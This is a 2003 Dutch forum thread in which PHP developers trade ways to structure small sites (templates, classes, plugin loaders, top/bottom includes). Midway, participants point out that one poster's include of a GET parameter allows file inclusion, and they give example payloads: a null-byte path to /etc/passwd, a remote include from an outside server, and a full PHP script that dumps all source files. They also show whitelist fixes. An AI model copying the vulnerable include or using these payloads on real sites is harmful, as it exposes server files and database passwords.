[PHP] Hoe site coden; teveel standaards! (discussie)

[jsiegmund]

Ik ben nu al ruim een week hier actief topics aan het lezen over verschillende standaarden mbt tot het maken van een website. Ik heb het probleem wat iedereen na een tijdje tegenkomt; teveel (vieze) code... bestanden met HTML en PHP door elkaar heen, een onduidelijke structuur met (te)veel bestanden... nou ja noem maar op; je kent het allemaal wel.
Helaas kan ik (nogthans) niet echt een standaard manier van werken ontdekken, en heeft iedereen weer andere manieren om bepaalde technieken te gebruiken. Ik wil dus eens gaan kijken of ik er (in ieder geval voor mezelf) wat duidelijkheid in kan brengen; en misschien tegelijkertijd werken aan een soort van documentatie voor beginners die met hetzelfde probleem zitten.

Waar het in deze om gaat: ik ben vrij tevreden over mn website zoals ik m op dit moment hier thuis heb draaien. Het is geen immens groot project oid, maar eerder lekker prutsen om daar wat van op te kunnen steken. Vanwege mn vieze code ben ik op zoek gegaan naar een manier om dit wat op te schonen, en heb inmiddels een aantal alternatieven gevonden. Ontzettend veel PHP template parsers met vaak niet echt superduidelijke docs en nogal persoonlijke opties waardoor goeie coders eerder geneigd zijn om zelf een class te schrijven. Dit werkt voor mij dus NIET. Doorgezocht en uitgekomen bij XSL XML en nogwat meer van die afkortingen . Ziet er allemaal leuk uit, paar tutorials gelezen maar ik vraag me af of het ook werkelijk handig is dit te gebruiken. Ik was niet van plan om mn pagina op WAP oid te gaan aanbieden, en dat wordt vaak genoemd als "voor" puntje. Ik zal jullie de rest van m'n zoektocht besparen, en naar de conclusie springen:

Als jullie een site willen gaan bouwen, met daarachter een interface waardoor admins aan je site kunnen werken (neem bijvoorbeeld een frontpage waarop berichtjes toegevoegd worden enz.), waar een gastenboekje ofzo op staat, en wat pagina's met (natuurlijk) onwijs interessante verhalen, gewoon vrij standaard allemaal. Verder wil je m lekker interactief maken, zodat je later nog eens een andere lay-out kunt aanbieden of gebruikers gewoon wat opties geven als een persoonlijk menuutje oid.
Dit alles wil je voor elkaar gaan krijgen met PHP en MySQL, draaiend op een Apache server. Hoe zou JIJ iets dergelijks coden, en waarom? En dan doel ik met dit hele verhaal dus op antwoorden als; daarvoor gebruik je een template via XSL, dat soort dingen zet je in aparte filetjes.. die zooi zet ik altijd in een database.. noem het allemaal maar op.

Ik weet dat het misschien een lastige vraag is, en dat het antwoord hier ook wel terug te vinden is (weliswaar in 1000 verschillende topics ), ik wil het echter eens allemaal samen kunnen lezen in 1 onderwerp, en misschien met jullie erover discussieren wat nou een goeie oplossing is en waarom. Als dit dan een beetje nuttige antwoorden blijkt te geven is het misschien een idee een dergelijk topic in een FAQ op te nemen, ik zal in ieder geval eens kijken of ik er een coden-voor-beginners doc van kan maken.

Ohja, misschien niet erg relevant maar ik ben (persoonlijk) niet op zoek naar oplossing die ook werken op IE 4 ofzo. Misschien niet helemaal correct maar ik ga er vanuit dat de meeste mensen die mijn pagina ooit eens willen bezoeken gewoon vrij up-to-date'e software bezitten om de boel mee te kunnen bekijken. Als er oplossingen zijn die ook door oudere browsers / software combi's ondersteund worden mag dat natuurlijk wel vermeld worden

Ik hoop dat de code-guru's die hier zitten eens een keer een echt heldere blik in de code-wereld kunnen geven waardoor niet iedereen opnieuw datzelfde wiel hoeft uit te vinden.

[crisp]

Het antwoord is natuurlijk dat je zoveel mogelijk code, content en opmaak van elkaar moet scheiden

[T. van Beek]

crisp schreef op 27 April 2003 @ 18:44:
Het antwoord is natuurlijk dat je zoveel mogelijk code, content en opmaak van elkaar moet scheiden

Waarbij Templates (CSS & HTML (Zoveel mogelijk CSS)), PHP en MySQL de beste dingen ervoor zijn (imo)!

[simon]

'echte' standaarden zijn er ook niet, maar zoals crisp zei zoveel mogelijk scheiding tussen code en opmaak. En dan nog eens helder coden ook.. Dan zit je dichtbij standaarden.

Verder is consequent coden ook 'prettig', dus gebruik niet de ' en de " door elkaar heen.. enzo

[TeasingU]

Misschien niet direct een methode die
een duidelijk overzicht creeert,

Maar het gebruik van commentaar zoals
<!-- --> in html en // in php met een duidelijke
beschrijving kan heel veel ergenis voorkomen.

En wanneer je een tijdje niet met die code bezig
bent geweest kun je gewoon teruglezen wat je nou
eigenlijk gedaan hebt.

[Verwijderd]

Ik code zoveel mogelijk in classes. Daarna gebruik ik de functies in m'n PHP files die gebruikt worden door de bezoekers. Voorbeeldje: mijn content file (waar de content vanuit word gegenereerd (voorbeeldje: http://www.pocketpc-club.nl/content.php?id=1470)) bestaat uit 6 regels en allemaal PHP.

Door het coden in classes hou je je codes schoon. Zoals al eerder werd aangegeven is het gebruik van CSS een must zodat je het geheel dynamisch kan opbouwen en met een verandering gelijk alles mee pakt.

[Johnny]

Ik ben op dit moment bezig mijn eigen site van HTML 4.01 en PHP over te zetten naar XHTML 1.0, PHP & MySQL, daarbij merk je gewoon dat je dingen anders aanpakt dan vroeger, toen probeerde ik nog rekening te houden met oudere browsers, maar nu streef ik er weer naar om hem 100% XHTML 1.0 compatible te maken (wat tot nu toe aardig lukt) deze standaard dwingt je tot het gebruik maken van externe javascripts en CSS (hoeft niet, maar aangezien je heel wat CSS hebt is het wel zo verstandig). De inhoud gaat nu vrijwel allemaal naar de database wat het aantal losse bestanden aardig verminderd en het makkelijk via een admin gedeelte laat bijwerken.

Vroeger gooide ik alle plaatjes gewoon in de root, daarna altijd in een map genaamd media, en op dit moment bevat de map "media" weer allerlei mappen met darain de bestanden per categorie.

Het is dus de kunst om alles te catalogiseren en te orderen met een logische structuur.

[sebas]

Ik liep een tijdje geleden tegen een soortgelijk probleem aan. Ik merkte dat ik eigenlijk voor elke site die ik voor apache (in php) maak steeds weer drie dingen wilde:
- nauwelijks systeemeisen (hoe minder, hoe breder inzetbaar en flexibeler het wordt)
- eenvoudige, modulaire opbouw
- uitbreidbaarheid

Ik wilde zoveel mogelijk aan standaarden doen (om documentatie van de interfaces wat makkelijker te maken en interfaces naar buiten mijn applicatie mogelijk te maken), en voor de volgende keren zoveel mogelijk code kunnen besparen. Wat er dus moest komen is een kleine applicatie die dynamisch content kan samenstellen, en deze met een layout integreert. Ik heb hiervoor de volgende standaarden toegepast:

- templates zijn html
- content wordt in xml documenten opgeslaan (met de default content handler voor statische pagina's in elk geval wel)
- er wordt zoveel mogelijk gebruik gemaakt van CSS

Het script kan worden uitgebreid zonder bijzondere kennis van de intene werking van de engine, kennis in php is wel nodig.

Als alleen gebruik gemaakt wordt van reeds bestaande componenten is php kennis niet nodig. Er moeten alleen een aantal variabelen aangepast worden (filenames van de pagina's enz.
Mijn engine bevat op dit moment een standaard library om de content uit de xml documenten te combineren met de layout, de layout wordt met bepaalde parameters in de content files aangepast (bijvoorbeeld extra meta tags, headers, enz). In de engine kunnen 'custom content providers' aangemaakt worden, dit in de vorm van een function die een string returneerd. Voor alle features van de engine zijn defaults ingesteld, die voorkomen dat door het falen van een onderdeel van de engine toch nog zo veel mogelijk gerenderd wordt, en errormessages teruggeven. Voor een menu kan bijvoorbeeld ook een content handler gebruikt worden, statisch of dynamisch.


Er hangt op dit moment geen cms achter, dit was de bedoeling ook (nog) niet. Echter leent zich de opbouw volgens mij wel voor het maken van een cms backend, waarbij de opslagmethode dan uiteraard beter een SQL database o.i.d. kan worden.

Het idee voor mezelf is dat ik de volgende keer gewoon weer die engine kan pakken, geen dingen opnieuw moet schrijven, maar gewoon wat customizations in de vorm van "content providers" als module toevoegen, eventueel wat modules eruitgooien die niet nodig zijn en gaan.

De vorm van mijn templates is wel een soort van "custom" syntax, maar in principe ook gewone html. Ik heb in de vorm van html comments tags eringezet die door de engine vervangen worden met de output van de juiste content provider.

Helaas erger ik me de laatste tijd een beetje aan php, raak erop uitgekeken, daarom wil ik eigenlijk zoveel mogelijk ervan gewoon voorkomen door van te voren even na te denken hoe het flexibel blijft en er dan in eerste instantie wat meer tijd om te coden in te steken. (OTOH, dit is ook al poging 241 om iets flexibels te maken, uiteindelijk schrijf ik het meestal tochwel opnieuw .)

[SchizoDuckie]

Ik heb een tijdje terug in een flinke brainwave een systeem voor mezelf bedacht wat érrug goed werkt imo.

• er is een index.php waar je een aantal standaard variabelen voor de template instelt (titel, en wat instellinkjes)
• onderaan de index.php wordt een functie loadPlugins($pluginpath); aangeroepen
• de functie loadPlugins zoekt $pluginpath door op .php files, en include die dan automagisch.

Elke plugin ziet er ongeveer zo uit:

PHP:

global $_TPL;

if (!$_TPL['loggedin'] == true) { die('wat mot je hier?'); }

// MenuItem definitie : ['menu titel naam'][] = link|menu titel|admin only 
// Worden automatisch meegenomen in template.

$_TPL['menu']['Ondevit Therapeuten'][] = 'content.php?action=addtherapeut|Toevoegen|0';
$_TPL['menu']['Ondevit Therapeuten'][] = 'content.php?action=deltherapeut|Verwijderen|0';
$_TPL['menu']['Ondevit Therapeuten'][] = 'content.php?action=edittherapeut|Bewerken|0';
$_TPL['menu']['Ondevit Therapeuten'][] = 'content.php?action=showtherapeut|Weergeven|0';


// eerst $_GET methoden afvangen. deze worden aangeroepen om data in te typen bijv. 
if (!empty($_GET['action']))
{
    switch($_GET['action'])
    {
        case 'addtherapeut':
            laatformpjezienomtherapeuttoetevoegen();
        break;
        case 'deltherapeut':
            laatformpjezienomtherapeutteverwijderen();
        break;
        case 'edittherapeut':
            laatformpjezienomtherapeutteeditten();
        break;
        case 'showtherapeut';
            laattherapeutjezien();
        break;
    }
}


// dan de $_POST variabelen afvangen, deze hebben de zelfde action naam als de bovenstaande

if (!empty($_POST['action']))
{
    switch($_POST['action'])
    {
        case 'addtherapeut':
            doejeding(); // hier gegevens in db pleuren ofzo
        break;
        case 'deltherapeut':
            doejeding();
        break;
        case 'edittherapeut':
            doejeding();
        break;
        case 'showtherapeut';
            doejeding();
        break;
    }
}

hier ben ik op het moment _erg_ blij mee, vooral omdat dit een basis is om mee te werken, je kan elke plugin nl gewoon uitbreiden als je meer functionaliteit nodig hebt, en omdat je zoveel functionaliteit kan toevoegen als je wilt.

Zijn er meer mensen die met dit soort systemen werken?

[gitaarwerk]

ik niet in ieder geval...als je mij een oplossing moet geven voor problemen zal ik het alleen maar met een if en een loop kunnen doen.. efficientie ho maar.. (maar dat was misschien al bekend ) functies (wat is dat? )doe ik dus niet echt aan...

anyway.. ik merk dat et wel enorm handig is..maar dat zijn de dingen die ik nog wel leer..

waar ik een gruwelijke hekel aan heb is al die webbrowers die het je zo verdomd lastig maken... Ik wil binnenkort eens een kijkje gaan nemen in het .net domein..
dat schijnt heel erg goed te werken.. volgends mijn programmeer leraar..

eerst maar eens wat meer c++ en enzo .. dan krijg ik wellicht een beter overzicht van wat ik nog meer kan (en dan hoef ik al die klote n00b-dingen niet meer te vragen )

eigenlijk was dit misschien best een nutteloze reactie.. maar ik moet het ook maar kwijt..

[simon]

Papa Eend schreef op 27 April 2003 @ 22:20:
heel stuk tekst

ligt het aan mij of is deze methode lichterlijk ranzig? Imho vind ik dit niet zo, maja..

Maar ik denk dat het meest essentiele bij een 'coding stijl' overzichtelijkheid is en de leesbaarheid door anderen, en natuurlijk dat 't werkt

Ik denk dat 'elk' project lichterlijk zijn eigen stijl heeft, maar wel conform is aan dezelfde standaarden.

Code kun je op veel manieren opbouwen, en ik denk dat je gewoon moet werken naar de beste in die situatie, 't is net zoals de browser standaarden oorlog, naar het beste in die situatie toewerken..

[Verwijderd]

Ik maak bijna al onze sites met 1 en dezelfde structuur en wel als volgt:
Er is een top-pagina, top.php. In deze pagina staat de TITLE container, de gehele HEAD, Jscript en de opening van de BODY.

Een klein voorbeeldje:

code:

<html>
 <head><title>Hallo allemaal</title>

 <script>
 function mededeling() {
 alert('Dat wou ik even zeggen');
 }
 </script>
</head>

<body>

Vervolgens heb ik ook nog een bottom page, bottom.php. In deze pagina staat niets meer dan (tis maar een voorbeeld, vaak staat er nog wel meer):

code:

 </body> 
</html>

Vervolgens is er een index pagina, index.php:

PHP:

<?
// top bestand
include ("top.php");

if (!$show) {
                   $show = "home";
}

// content ophalen
include ("$show.php");

// bottom bestand
include ("bottom.php");
?>

Vervolgens zet ik alle content in losse bestanden, zoals bijvoorbeeld:
home.php
info.php
contact.php

Het menu ziet er nu ongeveer zo uit:

code:

<a href="index.php?show=home">Home</a>
<a href="index.php?show=info">Informatie</a>
<a href="index.php?show=contact">Contact</a>

In de content bestanden staat niets meer dan tekst en afbeeldingen. De opmaak zit dus in de top en bottom bestanden.
Ik omschrijf het allemaal zeer simplistisch, want het gaat echt wel veel verder dan dit. Maar de basis heb ik uitgelegd. Ik vindt het een overzichtelijke manier van werken.

Zo kun je in 1 keer je navigatie aanpassen voor de gehele site (de navigatie staat namelijk in top.php). Hetzelfde geldt voor alle lettertypes enz. omdat deze vermeld staan in een css file die je ook weer aanroept in top.php.
Enz.

Nogmaals, ik vindt het een overzichtelijke structuur. Misschien is niet iedereen het met me eens (dan hoor ik graag waarom niet zodat ik er ook van kan leren!!!)
Als je het wel een tof systeem vindt, vragen stellen mag altijd....

[ Voor 16% gewijzigd door Verwijderd op 27-04-2003 23:04 ]

[crisp]

Verwijderd schreef op 27 April 2003 @ 23:01:
Ik maak bijna al onze sites met 1 en dezelfde structuur en wel als volgt:
Er is een top-pagina, top.php. In deze pagina staat de TITLE container, de gehele HEAD, Jscript en de opening van de BODY.
[...]
Nogmaals, ik vindt het een overzichtelijke structuur. Misschien is niet iedereen het met me eens (dan hoor ik graag waarom niet zodat ik er ook van kan leren!!!)
Als je het wel een tof systeem vindt, vragen stellen mag altijd....

Ik heb wel wat vragen
1) stel je hebt op 1 pagina wat extra javascriptjes nodig, ga je die nu in je <body> plempen?
2) en wat als je in een pagina bijvoorbeeld een cookie wilt zetten, of ineens besluit een sessie te gaan gebruiken. Als je top.php dan al geschreven is loop je dus tegen het 'Headers already send' verhaal aan, of gebruik je output buffering?

Het top-content-footer verhaal is natuurlijk maar een heel primaire scheiding van een deel van je content en je code. In je content deel gebruik je natuurlijk ook opmaak, maar die is volgens mij nu nog steeds in je code verweven.

[Verwijderd]

crisp schreef op 27 April 2003 @ 23:10:
[...]

Ik heb wel wat vragen
1) stel je hebt op 1 pagina wat extra javascriptjes nodig, ga je die nu in je <body> plempen?
2) en wat als je in een pagina bijvoorbeeld een cookie wilt zetten, of ineens besluit een sessie te gaan gebruiken. Als je top.php dan al geschreven is loop je dus tegen het 'Headers already send' verhaal aan, of gebruik je output buffering?

Wat je in gedachten moet houden is dat ook de top.php pagina variabel kan zijn. Stel ik heb op mijn contact pagina een JS nodig (Hoe kan het ook anders, Crisp heeft een JS nodig... ) dan zet ik in de top:

PHP:

if ($show == 'contact') {
echo "<script>blaatblaat</script>";
}

Hetzelfde geldt voor andere elementen. Ik beschreef hierboven dat het menu ook in de top staat. Dit menu kan je ook op een dergelijke wijze structueren, om maar een voorbeeld te noemen.

Stel je hebt in je body tag een OnLoad command nodig. Hetzelfde verhaal.

PHP:

if ($show == 'contact') {
echo "<body onLoad=\"javascript:mededeling()\">";
} else {
echo "<body>";
}
?>

En over de opmaak; deze staat echt voor 95% in de top en bottom bestanden.

[ Voor 25% gewijzigd door Verwijderd op 27-04-2003 23:20 ]

[sebas]

Verwijderd schreef op 27 April 2003 @ 23:01:
...

PHP:

<?
// top bestand
include ("top.php");

if (!$show) {
                   $show = "home";
}

// content ophalen
include ("$show.php");

// bottom bestand
include ("bottom.php");
?>

Vervolgens zet ik alle content in losse bestanden, zoals bijvoorbeeld:
home.php
info.php
contact.php
...

Dit is misschien een klein beetje OT, maar ik heb een kanttekening bij dit snippet: Als ik je pagina met index.php?show=/path/naar/bestand aanroep kan ik een beginpunt om je site te exploiten. Ik hoop dat je dat niet in die vorm gebruikt, maar letterlijk in deze vorm is het gewoon zowat het meest onveilige wat je kunt verzinnen.

[Verwijderd]

sebas schreef op 27 April 2003 @ 23:17:
[...]

Als ik je pagina met index.php?show=/path/naar/bestand aanroep kan ik een beginpunt om je site te exploiten.

Ik snap eerlijk gezegd niet precies wat je bedoeld.
Ten eerste zou je dan moeten weten waar alle bestanden staan?! Ten tweede, hij voegt bij de index pagina een -> .php extensie toe. Dus heel ver ga je - denk ik - niet komen?

Daarbij moet ik eerlijk zeggen dat ik niet precies snap wat je er mee zou kunnen bereiken, dus als je me dat kan vertellen dan kan ik er wellicht iets van leren... Maar nogmaals, ik ben er aardig van overtuigd dat je niet ver kan komen.

_{Edit: En daarbij weet ook nog eens niemand dat de structuur van de website zo opgebouwd is? Als je de bron zou bekijken zie je gewoon een netjes opgebouwde pagina, toch?}

[ Voor 13% gewijzigd door Verwijderd op 27-04-2003 23:29 ]

[Verwijderd]

Dubbelpost

[ Voor 99% gewijzigd door Verwijderd op 27-04-2003 23:28 ]

[CyeZ]

Verwijderd schreef op 27 April 2003 @ 23:24:
[...]


Ik snap eerlijk gezegd niet precies wat je bedoeld.
Ten eerste zou je dan moeten weten waar alle bestanden staan?! Ten tweede, hij voegt bij de index pagina een -> .php extensie toe. Dus heel ver ga je - denk ik - niet komen?

Daarbij moet ik eerlijk zeggen dat ik niet precies snap wat je er mee zou kunnen bereiken, dus als je me dat kan vertellen dan kan ik er wellicht iets van leren... Maar nogmaals, ik ben er aardig van overtuigd dat je niet ver kan komen.

Als hij bij de show parameter een path naar een bestand meegeeft (bv: /etc/passwd) ofzo, dan zal daar standaard dus een

PHP:

include('/etc/passwd.php');

van gemaakt worden. Dat is opzich nog niet zo'n punt, nu kan iemand al wel alle php files op je systeem uitvoeren maar verder nog niet zo gek veel. Echter, je kunt ook rustig een 'null' character meegeven aan die 'show' parameter.

http://www.domain.nl/pagina.php?show=/etc/passwd%00

Op zo'n soort manier als ik het me goed herinner.

Het gevolg daarvan is dat de uiteindelijk uitvoer in php zoiets wordt:

PHP:

include('/etc/passwd');

Alle delen van een string na een 'null' character worden namelijk genegeert aangezien dit teken als het einde van een string wordt gezien. Op deze manier is dus ELK bestand te includen waar de webserver leesrechten op heeft.

[crisp]

Verwijderd schreef op 27 April 2003 @ 23:24:
[...]


Ik snap eerlijk gezegd niet precies wat je bedoeld.
Ten eerste zou je dan moeten weten waar alle bestanden staan?! Ten tweede, hij voegt bij de index pagina een -> .php extensie toe. Dus heel ver ga je - denk ik - niet komen?

Daarbij moet ik eerlijk zeggen dat ik niet precies snap wat je er mee zou kunnen bereiken, dus als je me dat kan vertellen dan kan ik er wellicht iets van leren... Maar nogmaals, ik ben er aardig van overtuigd dat je niet ver kan komen.

voorbeeld: index.php?show=index

ben benieuwd wat 'ie dan gaat doen

je hebt in zoverre gelijk dat mensen van buitenaf moeilijk kunnen weten hoe jouw bestanden intern benoemd zijn, maar je zou natuurlijk dingen kunnen proberen als:

index.php?show=config

in de hoop dat je script gaat bokken en security-gevoelige data gaat prijsgeven

als het om een open-source template systeem gaat is het voor een potentiele hacker natuurlijk nog makkelijker om dingen te exploiten.
Waar sebas dus op doelt is of je vantevoren wel checked of de variabele $show wel geldige waarden bevat.
Ik neem trouwens ook aan dat je $_GET['show'] gebruikt?

[xshredx]

Sebas bedoelt dat, als er geen extra beveiliging zit op wat jij hier nu gepost heb, ik op jouw site het volgende zou kunnen aanroepen:
index.php?show=http://mijnserver.com/evilsourcecode
en dat wordt dan index.php?show=http://mijnserver.com/evilsourcecode.php
en als ik ervoor zorg dat die file dan een tekstbestandje is met als inhoud

PHP:

 show_source( "index.php" );

dan krijg ik de code van je index.php pagina. En vandaar begin ik dan beetje rond te kijken.
Zo heb ik eens een vriend die dat niet geloofde alle php code (en de database paswoorden die erin stonden) gestuurd van een site die hij voor een bedrijf maakte.
Het enige wat ik daarvoor moest doen was ervoor zorgen dat mijn bestandje aangeroepen werd, en daarin stond een functie die recursief alle directories afliep, alle .php files selecteerde, en daarvan een show_source() deed....
tja... da's een klein gaatje hé...

[Verwijderd]

Misschien niet juist, maar ik blijf bij mijn standpunt dat mensen van buiten niet weten hoe ik mijn bestanden cq mappen indeel.
Vergeet ook niet dat ik nu hier vertel hoe het in elkaar steekt en dat SHOW een bestandsnaam gaat worden, maar normaliter weet men dit niet!

Over het index?show=index verhaaltje, ik zou niet weten wat er gebeurt... Ga morgen gelijk even kijken. Maar goed, dat is alleen een bug-je, veel info zal je er niet mee winnen

Enne, $_GET['show'] gebruik ik niet. Zou niet weten waarom, maar om eerlijk te zijn ontbreekt daar mijn kennis.

Daarbij moeten jullie allen niet vergeten wat ik bij mijn vb schreef:
Ik omschrijf het allemaal zeer simplistisch ...
Vindt het overigens een leuk discussie.

[djc]

Ik heb een framework wat ik zelf altijd gebruik. Het templating systeem daarin is nog vrij grof, maar het model is misschien wel nuttig.

code:

index.php
include/
     session.class.php
     database.class.php
     config.sys.php
main/
     sys/
          login.inc.php
          logout.inc.php
          do-login.inc.php
          error.inc.php
     file/
          list.inc.php
          add.inc.php
          do-edit.inc.php

In index.php (ik geef argumenten mee als index.php/file.edit/6) maak ik dan wat basis-klassen aan, ik check de beschikbaarheid van het eerste argument als module, en dan include ik die. Het werkt best netjes.

Wat ook helpt is het gebruik van een sessie-object. Maak een object aan in de sessie, en prop alle gegevens van de user daarin. Dan kan je met functies in die klasse weer leuke dingen doen.

[sebas]

If "URL fopen wrappers" are enabled in PHP (which they are in the default configuration), you can specify the file to be included using an URL (via HTTP or other supported wrapper

Als je zomaar een variabele gebruikt die de gebruiker doorgeeft kan ik op die manier waarschijnlijk ook gewoon wat php code van een andere server includen, php biedt een aantal mogelijkheden bijvoorbeeld functions als exec() en system() om ook andere programma's op die computer te gebruiken, ik kan dus 'in theory' een stukje php schrijven wat een exploit op je systeem download, deze compilieerd en een rootshell overhoudt. Dat hoeft natuurlijk niet zo in die vorm te gebeuren, maar het erge is dat het heel makkelijk te checken if of je hier wel opgelet hebt tijdens het coden, je opent gewoon onnodig een deur.

Je kunt dit vrij makkelijk voorkomen door bijvoorbeeld zoiets te doen:

PHP:

$show = $_GET['show'];

$pagina['contact'] = "contact.html";
$pagina['info'] = "info.html";

// en dan wat verderop 

include($pagina[$show]);

[xshredx]

Ivy, ik zou er niet zo licht overgaan als ik jou was...
Wat als iemand een file als deze in jouw code injecteert??

PHP:

echo "<?php \n";
?>

$directory = '.';
$the_files = array();
$d = @dir($directory);

if (!$d) {
    echo '
    directory cannot be opened';
    exit;
}

while($content=$d->read()) {
        if (is_dir($directory . '/' . $content)) {
            ;
        }
        else {
            if (substr($content, -4) == '.php') {
                $the_files[] = $content;
            }
        }
}

$d->close();
sort($the_files);

reset($the_files);

echo '<h1><b></b>directory is:: ' . $directory . '</b></h1><br><br><br>';

for ($i = 0; $i < count($the_files); $i++) {
    echo '<br><br><h3><b>' . $the_files[$i] . '</b></h3><br><br>';
    $filename = $directory . '/' . $the_files[$i];
    highlight_file($filename);
}

<?php
echo "\n?>";

Bemerk dat ik helemaal niet moet weten hou jouw files heten... hiermee probeer ik ze gewoon allemaal...

Oplossing zou bijvoorbeeld kunnen zijn om alle toegelaten files in een array te steken en dan te controleren:

PHP:

$allowed_pages = array("news", "store", ... );
if(in_array($_GET['show'], $allowed_pages))
{
    // is goed: pagina gewoon includen
}
else
{
  // is niet goed: 404 pagina includen, of waarschuwing, of...
}

of bijvoorbeeld met file_exists(./$_GET['show']) kijken of die file lokaal wel bestaat...

P.S. dat eerste lijntje is natuurlijk <?php\n maar die slash krijg ik er niet in

[ Voor 71% gewijzigd door xshredx op 27-04-2003 23:52 ]

[Verwijderd]

Stel ik zie een site, waarbij een link in het menu er als volgt uitziet:

code:

index.php?show=contact

En stel, ik ben Evil... Waaraan kan ik nu zien wat er met die show var gaat gebeuren? Nergens aan toch? Niemand die ziet dat het onderdeel wordt van een include, en al helemaal niet dat die er ook nog eens .php achter gaat zetten.

Om overigens even mijn eigen werk te beschermen, de codes die ik hierboven neerzet typ ik allemaal lekker uit mijn bolle hoofdje want ik zit thuis nu. Waarmee ik wil zeggen dat ik het in de praktijk net even anders doe allemaal.. Zo check ik echt wel of de show een geldige show is. Iets wat heel makkelijk op te vangen is met iets als:

PHP:

if ($show != 'home' OR $show != 'contact') {
echo "Er gebeurd niets";
} else if ($show == 'home OR $show == 'contact') {
include ("$show.php");
}

Of iets dergelijks ;)

Edit: xshrekx, uw array check is ook iets dergelijks als hierboven omschreven door moi.

En daarbij heb ik ook niet gezegd dat ik er licht over denk! ik sta open voor reacties zoals jullie deze nu geven, zodat ik er van kan leren.

Even twee dingen:
- Hoe groot is de kans dat een site daadwerkelijk gehacked wordt?
- Hoe groot is de kans dat ALS een site gehacked is, men nuttige info vindt? Ik ben per slot van rekening geen NASA....

Maar daarbuiten vindt ik het wel belangrijk om een site dicht te zetten. Waarbij ik overigens niet ga beveiligen alsof ik een belangrijk instituut ben...

[ Voor 33% gewijzigd door Verwijderd op 28-04-2003 00:03 ]

[sebas]

Verwijderd schreef op 27 April 2003 @ 23:40:
Misschien niet juist, maar ik blijf bij mijn standpunt dat mensen van buiten niet weten hoe ik mijn bestanden cq mappen indeel.
Vergeet ook niet dat ik nu hier vertel hoe het in elkaar steekt en dat SHOW een bestandsnaam gaat worden, maar normaliter weet men dit niet!

De meeste interessante files staan wel op de standaardlocatie. Of show een bestandsnaam wordt of niet kun je vrij makkelijk checken als je show een custom value meegeeft, in dat geval krijg je waarschijnlijk een duidelijk aanwijzing dat ie een bestand niet kan includen in de vorm van een error.

Over het index?show=index verhaaltje, ik zou niet weten wat er gebeurt... Ga morgen gelijk even kijken. Maar goed, dat is alleen een bug-je, veel info zal je er niet mee winnen

*gokje* een infinite recursion error o.i.d.

Enne, $_GET['show'] gebruik ik niet. Zou niet weten waarom, maar om eerlijk te zijn ontbreekt daar mijn kennis.

P&W FAQ - PHP

Daarbij moeten jullie allen niet vergeten wat ik bij mijn vb schreef:
Ik omschrijf het allemaal zeer simplistisch ...
Vindt het overigens een leuk discussie.

Het punt is trouwens niet alleen dat je een variabele van buitenaf zomaar gebruikt, maar dat je de mogelijkheid biedt om dan ook nog code uit te voeren op de server. Ik begrijp absoluut dat dit niet de versie is die draait, maar als er zoiets als een voorbeeld staat, dan op zn minst aanduiden dat dit niet zo gebruikt moet worden, dat er errorhandling ontbreekt. Dit is gewoon structureel een onveilige aanpak, en zoals ik boven heb aangegeven is het vrij makkelijk om de bestanden die gebruikt mogen worden voor de include te beperken tot de bestanden die ook tot de content horen.

[Verwijderd]

sebas schreef op 27 April 2003 @ 23:55:
Ik begrijp absoluut dat dit niet de versie is die draait, maar als er zoiets als een voorbeeld staat, dan op zn minst aanduiden dat dit niet zo gebruikt moet worden, dat er errorhandling ontbreekt.

Als mensen een vaste structuur zoeken voor het maken van websites, iets waar over gediscussieerd wordt in dit topic, dan geeft dat aan dat deze mensen vaak websites maken.
Als ik bij mijn template zet dat het Zeer Simplistisch Is Omschreven, dan geeft dit ook wel aan dan men verder moet kijken dan zijn of haar neus lang is.. Toch?

Ik kan moeilijk mijn verfijnde codes hier gaan opschrijven. Maar ik moet zeggen dat ik wel veel geleerd heb tonight. Maar ik nu toch echt lekker snurken..

/me pakt wel stiekem eerst nog een lekkere pot pils

[ Voor 3% gewijzigd door Verwijderd op 28-04-2003 00:11 ]

[crisp]

Verwijderd schreef op 28 april 2003 @ 00:10:
[...]
/me pakt wel stiekem eerst nog een lekkere pot pils

* crisp geeft ivy nog een leuk stukje om bij het pilsje te lezen

[sebas]

* sebas is blij dat iedereen wat heeft opgepikt en herinnert zich aan een gekoelde fles lentebok in de nabije koelkast. proost

[reapher]

Tja standaard maar toch aanpasbaar heeft mij ook al enige tijd bezig gehouden. Ik ben nog een vrij jonge php progger (niet in leeftijd ) +- 8 maanden. En wilde een standaard, een base waaruit ik een soort van elementen kan laden met een simpele url. Na veel proberen is het me redelijk gelukt.

Ten eerste doe ik alles in classes want dat werkt veel mooi. Zo krijgen je een keurig OO-systeem.

Anyway ik heb 2 classes die het belangrijkste afhandellen met natuurlijk een aantal functie classes voor makkelijk bruikbare functies zoals POST/GET vars binnen halen en een forumubbcode parser etc etc.

De 2 classes die de basis vormen zijn

pagehandler
controler

De eerste start doormiddel van een procedure een object op. (een site-deel in de vorm van een class). Bijv een forum, of een poll enz. Dit doet hij door te kijken naar de url. (zitten wat beveiligings punten in om te zorgen dat je niet zomaar kan rommelen in database classes).

de tweede start de action richting de gebruiker. De content afhandeling dus (templates enz worden hier geladen) ook de controler stuurt je door naar een class file die hoort bij de eerder genoemde object class.

Nu is forum dus een object met allemaal kleine objecten eraan, zoals show topic, post reply, profile enz

Het klinkt allemaal vaag en het is ook nog lang niet af, maar zo maak ik redelijk goed gebruik van UML en dus een overzichtelijk OO concept.

[sjokki]

Note: terwijl ik het onderstaande verhaal aan het schrijven was postte reapher al iets wat er veel op lijkt.

Ik heb een tijd lang templates (smarty) gebruikt maar ben daar toch op terug gekomen. Templates, zoals ik ze tot nu toe gezien heb in PHP, zijn naar mijn mening niet goed her te gebruiken. Het zou wel kunnen maar dan kom je uiteindelijk uit op tientallen losse bestanden, voor ieder onderdeel een apart bestand. De templatetaal Velocity, onderdeel van het Apache-Jakarta project, biedt de mogelijkheid om functies te schrijven, zodat je ieder onderdeel in een functie kan zetten. Velocity kan je niet met PHP gebruiken, maar het is wel mogelijk om een dergelijke template-engine voor PHP te maken. Echter dan krijg je uiteindelijk een templatetaal die net zo ingewikkeld is als PHP zelf.

En daarom gebruik ik nu de widget-methode. De widget-methode houdt in dat je in PHP libraries maakt van kleine objecten die her te gebruiken zijn. Die kleine objecten kan je weer gebruiken in grote objecten en uiteindelijk bouw je een complete pagina uit objecten. Als basis zou je phpHtmlLib kunnen gebruiken.

Een van de voordelen van widgets is dat je ook redelijk eenvoudig bb-code kan maken waarmee bijvoorbeeld de schrijver van een artikel in een keer een grote widget kan neer planten.

Meer over widgets op http://zez.org/article/articleview/57/ en in verschillende artikelen op http://phppatterns.com/index.php/article/archive/1/

[himlims_]

xshredx schreef op 27 april 2003 @ 23:37:
Sebas bedoelt ...

